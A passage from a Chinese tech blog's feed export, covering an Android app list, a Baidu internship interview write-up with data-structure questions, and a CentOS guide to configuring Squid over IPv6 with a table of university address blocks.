<p>其实UI蛮丑的，web感非常重，但是国内是在没有那么好用的条形码查价格app，先用着，大家有更好的给<b style="culor:black;background-culor:#ffff66">我</b>留言。<br />
<img style="float: right; margin: 0px 3px 0px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/mcdonald.png" alt="麦当劳绿色环保手机优惠券" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>麦当劳绿色环保手机优惠券（McDonald Coupon）</li>
</ul>
<p>据说是在肯德基店不接受电子优惠券以后才流行起来的 <img src='http://logicmd.net/wp-includes/images/smilies/icon_mrgreen.gif' alt=':mrgreen:' class='wp-smiley' /><br />
<img style="float: right; margin: 0px 3px 0px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/ESPN.png" alt="ESPN ScoreCenter" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>ESPN ScoreCenter</li>
</ul>
<p>体育迷必备，所有你想的到的体育项目，比分，数据，评论。<br />
<img style="float: right; margin: 0px 3px 0px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/yodao.png" alt="有道词典" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>有道词典</li>
</ul>
<p>个人觉得最好用的词典。本地词典装了CulorDict，和Moon+ Reader配合很好用。<br />
<img style="float: right; margin: 0px 3px 0px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/Sound-Hound.png" alt="Sound Hound" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>Sound Hound ∞</li>
</ul>
<p>著名哼唱搜素网站Midomi 的<b style="culor:black;background-culor:#a0ffff">Android</b> <b style="culor:black;background-culor:#99ff99">Apps</b>，很实用，Must Have！<br />
<img style="float: right; margin: 0px 3px 0px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/DropBox.png" alt="DropBox" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>DropBox</li>
</ul>
<p>Web端解封了，PC端解封了，<b style="culor:black;background-culor:#a0ffff">Android</b>端还会远吗？最好用的跨平台云存储</p>
<h2><a name="7"></a>柒、游戏装X类（八只）</h2>
<p>玩的游戏比较少，推荐不具有代表性，嗯嗯~</p>
<p><img style="float: right; margin: 0px 3px 0px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/Fruit-Ninja.png" alt="Fruit Ninja" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>Fruit Ninja（水果忍者）</li>
</ul>
<p>最喜欢玩的游戏<br />
<img style="float: right; margin: 0px 3px 0px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/Angry-Bird.png" alt="Angry-Bird" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>Angry Bird（愤怒的小鸟）</li>
</ul>
<p>不解释，最近太火了<br />
<a href="http://logicmd.net/wp-content/uploads/2011/02/picplz_20110201_00000489739_original.jpg" class="highslide-image" onclick="return hs.expand(this);"><img class="size-medium wp-image-42427 aligncenter" title="Angry Bird 全家福" src="http://logicmd.net/wp-content/uploads/2011/02/picplz_20110201_00000489739_original.jpg" alt="Angry Bird 全家福" width="432" height="243" /></a><br />
<img style="float: right; margin: 0px 3px 0px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/Talking-Tom.png" alt="Talking Tom" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>Talking Tom（会说话的Tom猫）</li>
</ul>
<p>据说把妹必备<br />
<img style="float: right; margin: 0px 3px 0px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/Doodle-Jump.png" alt="Doodle Jump" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>Doodle Jump/Mega Jump/Ninja Jump/Hyper Jump</li>
</ul>
<p>适合触屏玩的休闲游戏，后面的几乎都是抄袭前面的。第一个最朴实，第二个最华丽，后面的还没装&#8230;<br />
<img style="float: right; margin: 0px 3px 0px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/PVZ.png" alt="植物大战僵尸" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>植物大战僵尸</li>
</ul>
<p>虽说是国内一个团队仿制的，但是效果还不错，但是不适合在触屏上玩<br />
<img style="float: right; margin: 0px 3px 0px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/iLightr.png" alt="iLightr" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>iLightr</li>
</ul>
<p>再一个装X类，1.2以后还可以吹灭，呵呵。<br />
<img style="float: right; margin: 0px 3px 0px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/Solo.png" alt="Solo" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>Solo（吉他独奏）</li>
</ul>
<p>著名的iPhone女之后涌现的<b style="culor:black;background-culor:#a0ffff">Android</b>女御用App。<br />
<img style="float: right; margin: 0px 3px 0px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/musical-pro.png" alt="Musical Pro" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>Musical Pro（移动演奏家）</li>
</ul>
<p>非常棒的钢琴演奏效果，还带有练曲功能，即使完全是乐盲也能奏出好听的曲子~比同类的xPiano和MyPiano好，但是Desire Z的外放实在是渣</p>
]]></content:encoded>
			<wfw:commentRss>http://logicmd.net/2011/02/list-of-my-android-apps/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>实习面经（二）：百度商务搜索部</title>
		<link>http://logicmd.net/2011/01/internship-interview-experience-baidu/</link>
		<comments>http://logicmd.net/2011/01/internship-interview-experience-baidu/#comments</comments>
		<pubDate>Fri, 31 Dec 2010 17:12:49 +0000</pubDate>
		<dc:creator>logicmd</dc:creator>
				<category><![CDATA[Planning]]></category>
		<category><![CDATA[Algorithm]]></category>
		<category><![CDATA[baidu]]></category>
		<category><![CDATA[百度]]></category>
		<category><![CDATA[面经]]></category>

		<guid isPermaLink="false">http://logicmd.net/?p=42410</guid>
		<description><![CDATA[在bbs看到招实习的帖子后，我发了Email，大约1一周后，接到助理MM的电话，预约我是否最近有空，可以进行电面。最后我们约好在第二天下午进行电面。

一面
周四下午我一直处于等待之中，三点十分的时候，我接到面试官的电话，询问20分钟后是否有空，要求我准备好纸笔一类。三点半面试正式开始。
开始同样要求做自我介绍，然后在开始正式的电面。

关于数据库的。
开始问了我数据库中索引的概念，应该算是warming  [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://logicmd.net/wp-content/uploads/2011/01/baidu-logo.png"><img class="alignright" title="baidu-logo" src="http://logicmd.net/wp-content/uploads/2011/01/baidu-logo.png" alt="" width="190" height="76" /></a>在bbs看到招实习的帖子后，我发了Email，大约1一周后，接到助理MM的电话，预约我是否最近有空，可以进行电面。最后我们约好在第二天下午进行电面。</p>
<p><span id="more-42410"></span></p>
<h2>一面</h2>
<p>周四下午我一直处于等待之中，三点十分的时候，我接到面试官的电话，询问20分钟后是否有空，要求我准备好纸笔一类。三点半面试正式开始。</p>
<p>开始同样要求做自我介绍，然后在开始正式的电面。</p>
<ul>
<li>关于数据库的。</li>
<p>开始问了我数据库中索引的概念，应该算是warming up吧。由于我没有学过数据库类的课程，所以说的有些含糊不清。<a rel="nofollow" href="http://baike.baidu.com/view/262241.htm" target="_blank">百度百科</a>里对于索引是这么定义的。</p>
<blockquote><p>使用索引可快速访问数据库表中的特定信息。索引是对数据库表中一列或多列的值进行排序的一种结构，例如 employee 表的姓（name）列。如果要按姓查找特定职员，与必须搜索表中的所有行相比，索引会帮助您更快地获得该信息。</p>
<p>索引是一个单独的、物理的数据库结构，它是某个表中一列或若干列值的集合和相应的指向表中物理标识这些值的数据页的逻辑指针清单。</p>
<p>索引提供指向存储在表的指定列中的数据值的指针，然后根据您指定的排序顺序对这些指针排序。数据库使用索引的方式与您使用书籍中的索引的方式很相似：它搜索索引以找到特定值，然后顺指针找到包含该值的行。</p></blockquote>
<p>接下来就是操作数据库的语言，个人是用PHP操作过数据库，所以面试官也没有问太多内容。</p>
<p>再接着问了一个情景，对于很多人访问同一个数据库发出了很多请求，如何优化？答曰使用缓存，缓存可以减小数据库的压力，提高响应速度；又问了缓存的弊端，我也大概地答了一下，缓存要考虑过期时间的问题，可能会更新不及时，有时候需要手动更新缓存blabla。</p>
<li>一个具体的情景</li>
<p>一篇很长很长的英文文章，中间可能出现[a-z;A-Z]，统计哪个字母没有出现过。<br />
这个我居然说用hash表，囧。<br />
然后把结果储存起来发给下游，最小的储存结构是什么。答曰char[52]数组即可。</p>
<li>关于二叉树
<ol>
<li>什么是平衡二叉树？</li>
<p>这个没答上来，  <img src='http://logicmd.net/wp-includes/images/smilies/icon_cry.gif' alt=':cry:' class='wp-smiley' />  <a rel="nofollow" href="http://baike.baidu.com/view/593144.htm" target="_blank">传送门</a>。</p>
<li>举出一个特殊二叉树。</li>
<p>偶居然说huffman编码的结构。（额，真的是信息论学多了。）</p>
<li>二叉树的存储结构。</li>
<p>我说了一种《数据结构》里面的存法，先根遍历加中根遍历可以唯一的确定一棵二叉树。问有没有更小的数据结构存储。思考良久未果。（现在想想在先序遍历每一层加个标记就可以唯一确定了 <img src='http://logicmd.net/wp-includes/images/smilies/icon_eek.gif' alt='8-O' class='wp-smiley' /> ）</ol>
</li>
<li>关于多叉树数据结构实现</li>
<p>当然需要一个变量存储该节点内容。至于多叉的结构。我已开始说数组，但是申请多少呢？所以想到了链表。现在去查了一下<a rel="nofollow" href="http://topic.csdn.net/t/20041231/22/3692700.html" target="_blank">资料</a>。链表确实是不错的选择。</p>
<pre class="brush:cpp">// 节点结构
typedef struct node
{
	void * data ; // 内容存储在这里
	// 至于内容是什么类型的，全靠程序员自己把握。
	struct node * nextnode ; // 同一父节点下的其他节点，
	// 最后一个节点该指针为NULL
	struct node * sublevel ; // 子节点指针，指向第一个子节点；
	// 无子节点该指针为NULL
}Node ;</pre>
</ul>
<p>整个一面大约持续40分钟。感觉只答对了大约一半的问题，sigh&#8230; 没想到过了不到10分钟，二面电话就来了。</p>
<h2>二面</h2>
<p>二面一上来便要求我说明可能的实习时间，以及要求我详细滴介绍了项目和竞赛获奖情况。接下来就开始正式面试了</p>
<ul>
<li> 一些Linux命令的问题
<ol>
<li>看剩余内存是多少用什么命令？——free</li>
<li>vm-state是干嘛的？这个我还真不知道，后面去搜索也没搜出来</li>
<li>结束进程用什么命令？——kill</li>
<li>强制结束进程要给什么信号？——答不记得了，应该看manual可以查到 = =! 后来查了一下是给kill -9</li>
<li>100！末尾有几个0？（这不是小学奥赛题么？）</li>
<li>大边对齐、小边对齐（这个真没听说过；现在想想是不是问的大端法，小端法的问题 = =）</li>
</ol>
</li>
<li>关于<a href="http://topic.csdn.net/u/20080602/14/ada5e2c5-c8cd-48a0-a4f2-a5e1f83547a8.html" target="_blank" rel="nofollow">兄弟单词</a>
<p>给你一个单词a，如果通过交换单词中字母的顺序可以得到另外的单词b，那么定义b是a的兄弟单词。现在给你一个字典，用户输入一个单词，让你根据字典找出这个单词有多少个兄弟单词。 （这道题面试官说有O(1) 的解法，。。。。。）</p>
<blockquote><p>定义 操作 F(A1,A2,A3&#8230;.An)=P(A1)*P(A2)*P(A3)&#8230;..P(An);</p>
<p>其中 P(A1)= PrimeNum[A1-'a'],<br />
    PrimeNum 是从2开始的连续 素数 数组(2,3,5,7,&#8230;..)</p>
<p>示例:<br />
    F(bad)=P(b)*P(a)*P(d)=3*2*7=42</p>
<p>    遍历字典,求每个单词的F()操作值,如果相等就是,不等就下一个</p></blockquote>
<blockquote><p>为了尽可能容纳更多单词，定义36进制，数元为[0~9, A~Z]<br />
每个单词的Key表示为一个长度为26的字符串，每一位分别是字母A~Z在这个单词中出现的次数(n: 0~Z)，<br />
如单词good，Key:00010010000000200000000000</p>
<p>ABCDEFGHIJKLMNOPQRSTUVWXYZ<br />
00010010000000200000000000</p>
<p>输入单词F([A~Z]{0~Z})</p>
<p>1、求F的Key<br />
2、遍历字典，求每个单词的Key，Key相等则为兄弟单词</p>
<p>对比素数积Key，<br />
  优点：不易溢出<br />
  缺点：虽然定义的n在0~Z之间，但还是覆盖不到类似a{37}相同字符出现超过36个的情况，但现有的单词序列中似乎还没有:)</p></blockquote>
</li>
</ul>
<p>二面大约花了20分钟。</p>
<h2>等待</h2>
<p>然后就是长达1周多的等待，然后，然后收到了助理MM的邮件，二面Fail。其实我二面的感觉比一面更好点，至少问题正确率高点，但是据 @whusnoppy 透露，二面应该是小boss了，再加上他们一致对于我的实习时间不满意，所以。。。</p>
<p>不管怎样，长了不少知识，Happy new year吧！</p>
]]></content:encoded>
			<wfw:commentRss>http://logicmd.net/2011/01/internship-interview-experience-baidu/feed/</wfw:commentRss>
		<slash:comments>14</slash:comments>
		</item>
		<item>
		<title>CentOS部署IPv6环境Squid简要笔记</title>
		<link>http://logicmd.net/2010/12/centos-setup-squid-over-ipv6/</link>
		<comments>http://logicmd.net/2010/12/centos-setup-squid-over-ipv6/#comments</comments>
		<pubDate>Sat, 18 Dec 2010 08:52:58 +0000</pubDate>
		<dc:creator>logicmd</dc:creator>
				<category><![CDATA[Configure & Maintain]]></category>
		<category><![CDATA[CentOS]]></category>
		<category><![CDATA[IPv6]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Squid]]></category>

		<guid isPermaLink="false">http://logicmd.net/?p=42405</guid>
		<description><![CDATA[Squid Cache（简称为Squid）是一个流行的自由软件（GNU通用公共许可证）的代理服务器和Web缓存服务器。Squid有广泛的用途，从作为网页服务器的前置cache服务器缓存相关请求来提高Web服务器的速度，到为一组人共享网络资源而缓存万维网，域名系统和其他网络搜索，到通过过滤流量帮助网络安全，到局域网通过代理上网。Squid的功能也相当完善，3.1之后的版本已经默认开启并支持了ipv6。
本文是如何在CentOS环境下部署Squid over IPv6

下载安装
去http://people.redhat.com/jskala/squid/下载最新版本的Squid  [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://logicmd.net/wp-content/uploads/2010/12/Squid-cache_logo.jpg"><img class="alignright size-full wp-image-42415" title="Squid-cache-logo" src="http://logicmd.net/wp-content/uploads/2010/12/Squid-cache_logo.jpg" alt="Squid-cache-logo" width="187" height="136" /></a><span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/squid/" title="查看 Squid 中的全部文章" target="_blank">Squid</a></span> Cache（简称为<span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/squid/" title="查看 Squid 中的全部文章" target="_blank">Squid</a></span>）是一个流行的自由软件（GNU通用公共许可证）的代理服务器和Web缓存服务器。Squid有广泛的用途，从作为网页服务器的前置cache服务器缓存相关请求来提高Web服务器的速度，到为一组人共享网络资源而缓存万维网，域名系统和其他网络搜索，到通过过滤流量帮助网络安全，到局域网通过代理上网。Squid的功能也相当完善，3.1之后的版本已经默认开启并支持了ipv6。</p>
<p>本文是如何在<span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/centos/" title="查看 CentOS 中的全部文章" target="_blank">CentOS</a></span>环境下部署Squid over <span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/ipv6/" title="查看 IPv6 中的全部文章" target="_blank">IPv6</a></span><br />
<span id="more-42405"></span></p>
<h2>下载安装</h2>
<p>去<a rel="nofollow" href="http://people.redhat.com/jskala/squid/">http://people.redhat.com/jskala/squid/</a>下载最新版本的Squid rpm包。</p>
<pre class="brush:shell">#安装依赖
yum install perl-DBI
# 注意自己的构架是否为i386

http://people.redhat.com/jskala/squid/squid-3.1.8-1.el5/i386/squid-3.1.8-1.el5.i386.rpm

rpm -ivh squid-3.1.8-1.el5.i386.rpm</pre>
<h2>配置/etc/squid/squid.conf</h2>
<pre class="brush:shell" title="/etc/squid/squid.conf">#
# Recommended minimum configuration:
#
acl manager proto cache_object
acl localhost src 127.0.0.1/32 ::1
acl to_localhost dst 127.0.0.0/8 0.0.0.0/32 ::1

# Example rule allowing access from your local networks.
# Adapt to list your (internal) IP networks from where browsing
# should be allowed
acl localnet src 10.0.0.0/8     # RFC1918 possible internal network
acl localnet src 172.16.0.0/12  # RFC1918 possible internal network
acl localnet src 192.168.0.0/16 # RFC1918 possible internal network
acl localnet src fc00::/7       # RFC 4193 local private network range
acl localnet src fe80::/10      # RFC 4291 link-local (directly plugged) machines
# 使用预定义的ipv6定义ipv6地址源
acl in_ipv6 src ipv6
# 定义不能访问的网站
acl ban dstdomain &quot;/etc/squid/bansite&quot;

acl SSL_ports port 443
acl Safe_ports port 80          # http
acl Safe_ports port 21          # ftp
acl Safe_ports port 443         # https
acl Safe_ports port 70          # gopher
acl Safe_ports port 210         # wais
acl Safe_ports port 1025-65535  # unregistered ports
acl Safe_ports port 280         # http-mgmt
acl Safe_ports port 488         # gss-http
acl Safe_ports port 591         # filemaker
acl Safe_ports port 777         # multiling http
acl CONNECT method CONNECT

#
# Recommended minimum Access Permission configuration:
#
# Only allow cachemgr access from localhost
http_access allow manager localhost
http_access deny manager

# Deny requests to certain unsafe ports
http_access deny !Safe_ports

# Deny CONNECT to other than secure SSL ports
http_access deny CONNECT !SSL_ports

# We strongly recommend the following be uncommented to protect innocent
# web applications running on the proxy server who think the only
# one who can access services on &quot;localhost&quot; is a local user
http_access deny to_localhost

#
# INSERT YOUR OWN RULE(S) HERE TO ALLOW ACCESS FROM YOUR CLIENTS
#

# Example rule allowing access from your local networks.
# Adapt localnet in the ACL section to list your (internal) IP networks
# from where browsing should be allowed
# 不允许访问前面预定义的网址
http_access deny ban
http_access allow localnet
http_access allow localhost
# 只允许ipv6的地址来源的计算机使用本代理
http_access allow in_ipv6

# And finally deny all other access to this proxy
http_access deny all

# Squid normally listens to port 3128
http_port 3128

# 是透明代理 or 匿名代理(X-Forwarded-For字段)
forwarded_for on
# 最大下载文件大小
maximum_object_size 100 MB

# We recommend you to use at least the following line.
hierarchy_stoplist cgi-bin ?

# Uncomment and adjust the following to add a disk cache directory.
cache_dir ufs /var/spool/squid 100 16 256
cache_mem 16 MB #RAM比较小嘛~

# Leave coredumps in the first cache dir
coredump_dir /var/spool/squid

# Add any of your own refresh_pattern entries above these.
refresh_pattern ^ftp:           1440    20%     10080
refresh_pattern ^gopher:        1440    0%      1440
refresh_pattern -i (/cgi-bin/|\?) 0     0%      0
refresh_pattern .               0       20%     4320</pre>
<pre class="brush:shell" title="/etc/squid/bansite">#/etc/squid/bansite
.xxoo.com
.xxx.net</pre>
<h2>启动服务</h2>
<pre class="brush:shell" title>
chkconfig --levels 2345 squid on
service squid restart
</pre>
<p>更多的配置选项可以参考<a rel="nofollow" href="http://linux.vbird.org/linux_server/0420squid.php" target="_blank">鸟哥私房菜</a>，非常易懂的一份中文配置Squild资料。</p>
<p>当然文章有点老了，很多配置选项已经deprecated了，必要时还需要到<a rel="nofollow" href="http://www.squid-cache.org/Doc/config/" target="_blank">Squid官网config文档</a>去查询3.1版中哪些选项还能用。</p>
<p>Squid还可以完成限制下载特定后缀的文件啦，工作时间限制访问网站啦，设置VIP用户白名单啦，限制p2p啦，本文只是着眼于<span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/ipv6/" title="查看 IPv6 中的全部文章" target="_blank">IPv6</a></span>网络内容，更多的需求大家自行搜索。</p>
<h2>FAQ</h2>
<h3>1.Squid 编译时候带<span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/ipv6/" title="查看 IPv6 中的全部文章" target="_blank">IPv6</a></span>，但却不处理<span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/ipv6/" title="查看 IPv6 中的全部文章" target="_blank">IPv6</a></span>来的请求</h3>
<ul>
<li><strong>Squid可能配配置的只处理IPv4请求</strong></li>
<p>squid.conf 的配置 (http_port, icp_port, snmp_port, https_port 或者其他 ) 可以是以下形式 port, hostname:port, or ip:port，如果hostname只有A记录或者IP是IPv4当然只会处理v4的请求。</p>
<li><strong>Squid可能被配置了太过严格的 ACL.</strong></li>
<p>在处理传统的ACL配置时最好考虑到<span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/ipv6/" title="查看 IPv6 中的全部文章" target="_blank">IPv6</a></span>地址，比如默认的localhost 的ACL随着加入对<span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/ipv6/" title="查看 IPv6 中的全部文章" target="_blank">IPv6</a></span>的考虑演进成</p>
<pre>acl localhost src 127.0.0.1 ::1</pre>
</ul>
<h3>2.经常出现的错误</h3>
<ul>
<li><strong>定义acl all src ::/0 0.0.0.0/0</strong></li>
<p>all在Squid 3中已经预定义过了。</p>
<li><strong>定义acl IPv4 with ::ffff:a.b.c.d</strong></li>
<p>Squid本身可以理解IPv4地址，而且ipv4在Squid中也预定义过了。</p>
<li><strong>定义acl <span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/ipv6/" title="查看 IPv6 中的全部文章" target="_blank">IPv6</a></span> as 2000::/3</strong></li>
<p>其实<span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/ipv6/" title="查看 IPv6 中的全部文章" target="_blank">IPv6</a></span>远不止这些地址，而且ipv4在Squid中也预定义过了。<br />
当然要是想限制Squid为某些学校访问倒是可以参考下表</ul>
<pre class="brush:plain;collapse:true" title="全国高校IPv6地址分配情况">2001:DA8:0200::/48    清华大学
2001:DA8:0201::/48    北京大学
2001:DA8:0202::/48    北京邮电大学
2001:DA8:0203::/48    北京航天航空大学
2001:DA8:0204::/48    北京理工大学
2001:DA8:0205::/48    北京交通大学
2001:DA8:0206::/48    北京城市学院
2001:DA8:0207::/48    北京师范大学
2001:DA8:0208::/48    北京科技大学
2001:DA8:0209::/48    首都经济贸易大学
2001:DA8:020A::/48    北方工业大学
2001:DA8:020B::/48    国家计算机网络应急技术处理协调中心
2001:DA8:020C::/48    华北电力大学(北京)
2001:DA8:020D::/48    赛尔网络有限公司IDC部门
2001:DA8:020E::/48    中国传媒大学
2001:DA8:020F::/48    北京外国语大学
2001:DA8:0210::/48    北京机械工业学院
2001:DA8:0211::/48    北京林业大学
2001:DA8:0212::/48    北京信息工程学院
2001:DA8:0213::/48    教育部科技发展中心
2001:DA8:0214::/48    中国地质大学(北京)
2001:DA8:0215::/48    北京邮电大学
2001:DA8:0216::/48    北京工业大学
2001:DA8:0217::/48    DRAGONLAB实验室
2001:DA8:0218::/48    首都师范大学
2001:DA8:0219::/48    中央民族大学
2001:DA8:021C::/48    中国人民大学
2001:DA8:021D::/48    内蒙古大学
2001:DA8:021E::/48    太原理工大学
2001:DA8:0223::/48    中国矿业大学
2001:DA8:0224::/48    中国政法大学
2001:DA8:0225::/48    清华大学
2001:DA8:0226::/48    清华大学网络中心网管研究
2001:DA8:022B::/48    中央音乐学院
2001:DA8:022D::/48    北京语言大学
2001:DA8:0230::/48    对外经济贸易大学
2001:DA8:1000::/48    CERNET2核心节点-南京
2001:DA8:1001::/48    江苏省教育和科研计算机网
2001:DA8:1002::/48    东南大学
2001:DA8:1003::/48    南京师范大学
2001:DA8:1004::/48    河海大学
2001:DA8:1005::/48    南京农业大学
2001:DA8:1006::/48    南京航空航天大学
2001:DA8:1007::/48    南京大学
2001:DA8:1008::/48    江苏工业学院
2001:DA8:1009::/48    河海大学常州校区
2001:DA8:100A::/48    苏州大学
2001:DA8:100D::/48    中国矿业大学
2001:DA8:100E::/48    南京理工大学
2001:DA8:1010::/48    江南大学
2001:DA8:2000::/48    华南理工大学
2001:DA8:2001::/48    广州市教育局
2001:DA8:2002::/48    暨南大学
2001:DA8:200B::/48    华南师范大学
2001:DA8:2004::/48    华南农业大学
2001:DA8:3000::/48    华中科技大学
2001:DA8:3001::/48    华中师范大学
2001:DA8:3002::/48    华中农业大学
2001:DA8:3008::/48    华中科技大学同济医学院
2001:DA8:4000::/48    西安交通大学
2001:DA8:4003::/48    西安建筑科技大学
2001:DA8:5000::/48    郑州大学
2001:DA8:5001::/48    河南财经学院
2001:DA8:5002::/48    解放军信息工程大学
2001:DA8:5003::/48    河南省财经学校
2001:DA8:5004::/48    河南省教育科研网
2001:DA8:5005::/48    郑州大学西亚斯国际学院
2001:DA8:6000::/48    电子科技大学
2001:DA8:6004::/48    四川农业大学
2001:DA8:7000::/48    山东大学
2001:DA8:7001::/48    山东大学齐鲁软件学院
2001:DA8:7002::/48    CERNET山东省网络中心
2001:DA8:7003::/48    山东大学
2001:DA8:7004::/48    山东农业大学
2001:DA8:7005::/48    济南大学
2001:DA8:7006::/48    中国石油大学(华东)
2001:DA8:7007::/48    中国石油大学(华东)青岛校区
2001:DA8:7008::/48    山东理工大学
2001:DA8:7009::/48    烟台大学
2001:DA8:700A::/48    烟台师范学院
2001:DA8:700B::/48    山东省计算中心
2001:DA8:700C::/48    山东财政学院
2001:DA8:7013::/48    中国海洋大学
2001:DA8:8000::/48    上海交通大学
2001:DA8:8001::/48    复旦大学
2001:DA8:8002::/48    同济大学
2001:DA8:8003::/48    上海交通大学-上海城域网
2001:DA8:8004::/48    上海理工大学
2001:DA8:8005::/48    华东师范大学
2001:DA8:8006::/48    上海大学
2001:DA8:8007::/48    华东理工大学
2001:DA8:8008::/48    东华大学
2001:DA8:8009::/48    上海市教育委员会
2001:DA8:800A::/48    上海交通大学医学院
2001:DA8:800B::/48    上海师范大学
2001:DA8:800C::/48    第二军医大学
2001:DA8:800D::/48    上海财经大学
2001:DA8:800E::/48    上海外国语大学
2001:DA8:800F::/48    上海建桥学院
2001:DA8:9000::/48    东北大学
2001:DA8:9001::/48    辽宁大学
2001:DA8:900B::/48    东北大学
2001:DA8:A000::/48    天津大学
2001:DA8:A001::/48    天津理工大学
2001:DA8:A002::/48    天津医科大学
2001:DA8:A800::/48    大连理工大学
2001:DA8:A801::/48    大连海事大学
2001:DA8:A802::/48    大连轻工业学院
2001:DA8:B000::/48    吉林大学
2001:DA8:B001::/48    东北电力学院
2001:DA8:B007::/48    吉林大学农学部
2001:DA8:B800::/48    哈尔滨工业大学
2001:DA8:B801::/48    哈尔滨工业大学
2001:DA8:C000::/48    兰州大学
2001:DA8:C001::/48    甘肃省教育和科研计算机网
2001:DA8:C002::/48    甘肃政法学院
2001:DA8:C003::/48    西北师范大学
2001:DA8:C800::/48    重庆大学
2001:DA8:C801::/48    重庆交通大学
2001:DA8:C802::/48    重庆师范大学
2001:DA8:C803::/48    西南大学
2001:DA8:D000::/48    中南大学
2001:DA8:D001::/48    湖南师范大学
2001:DA8:D002::/48    长沙理工大学
2001:DA8:D003::/48    湖南商学院
2001:DA8:D800::/48    中国科技大学
2001:DA8:D801::/48    解放军电子工程学院
2001:DA8:D802::/48    安徽理工大学
2001:DA8:D803::/48    安徽中医学院
2001:DA8:D804::/48    皖南医学院
2001:DA8:D805::/48    合肥工业大学
2001:DA8:E000::/48    浙江大学
2001:DA8:E001::/48    浙江工业大学
2001:DA8:E002::/48    浙江大学宁波理工学院
2001:DA8:E800::/48    厦门大学
2001:DA8:E801::/48    福建农林大学
2001:DA8:E802::/48    福建师范大学

2001:250:0200::/48    清华大学
2001:250:0201::/48    北京大学
2001:250:0202::/48    北京交通大学
2001:250:0205::/48    中国人民大学
2001:250:0206::/48    北京航空航天大学
2001:250:0207::/48    北京化工大学
2001:250:0208::/48    北京大学医学部
2001:250:0209::/48    中国农业大学
2001:250:020A::/48    中国矿业大学
2001:250:020B::/48    北京师范大学
2001:250:020E::/48    北京科技大学
2001:250:0212::/48    北京中医药大学
2001:250:0217::/48    中国传媒大学
2001:250:0218::/48    北京外国语大学
2001:250:021A::/48    北京林业大学
2001:250:021C::/48    北京工业大学
2001:250:0400::/48    天津大学
2001:250:0401::/48    南开大学
2001:250:0405::/48    河北工业大学
2001:250:0C00::/48    华北工学院
2001:250:0C01::/48    太原理工大学
2001:250:0E00::/48    内蒙古大学
2001:250:0E02::/48    内蒙古师范大学
2001:250:1001::/48    西北交通大学
2001:250:1002::/48    西北农林科技大学
2001:250:1003::/48    西北大学
2001:250:1004::/48    西北工业大学
2001:250:1005::/48    长安大学
2001:250:1006::/48    西安电子科技大学
2001:250:1007::/48    第四军医大学
2001:250:1400::/48    兰州大学
2001:250:1401::/48    兰州理工大学
2001:250:1800::/48    新疆大学
2001:250:1804::/48    华南理工大学
2001:250:1999::/48    华南理工大学
2001:250:2000::/48    电子科技大学
2001:250:2002::/48    西南交通大学
2001:250:2003::/48    四川大学
2001:250:2009::/48    四川西华大学
2001:250:2800::/48    云南大学
2001:250:3000::/48    华南理工大学
2001:250:3002::/48    中山大学
2001:250:3401::/48    广西大学
2001:250:3C00::/48    深圳大学
2001:250:3C02::/48    深圳大学城
2001:250:4000::/48    华中科技大学
2001:250:4001::/48    武汉大学
2001:250:4002::/48    中国地质大学(武汉)
2001:250:4004::/48    武汉理工大学
2001:250:4400::/48    中南大学
2001:250:4401::/48    国防科学技术大学
2001:250:4402::/48    湖南大学
2001:250:4800::/48    郑州大学
2001:250:480B::/48    郑州大学
2001:250:480F::/48    解放军信息工程大学
2001:250:5003::/48    常熟理工学院
2001:250:5004::/48    南京师范大学
2001:250:5005::/48    河海大学
2001:250:5006::/48    南京农业大学
2001:250:5007::/48    南京航空航天大学
2001:250:5008::/48    江苏工业学院
2001:250:5009::/48    河海大学常州校区
2001:250:5400::/48    中国科学技术大学
2001:250:5401::/48    安徽大学
2001:250:5800::/48    山东大学
2001:250:580A::/48    山东大学
2001:250:5813::/48    山东大学
2001:250:5806::/48    中国海洋大学
2001:250:5807::/48    中国石油大学
2001:250:5808::/48    中国石油大学（青岛）
2001:250:6000::/48    上海交通大学
2001:250:6001::/48    复旦大学
2001:250:6003::/48    华东理工大学
2001:250:6005::/48    上海财经大学
2001:250:6006::/48    同济大学
2001:250:6007::/48    上海交通大学医学院
2001:250:6008::/48    上海大学
2001:250:600D::/48    上海交通大学-上海城域网
2001:250:600F::/48    上海外国语大学
2001:250:6400::/48    浙江大学
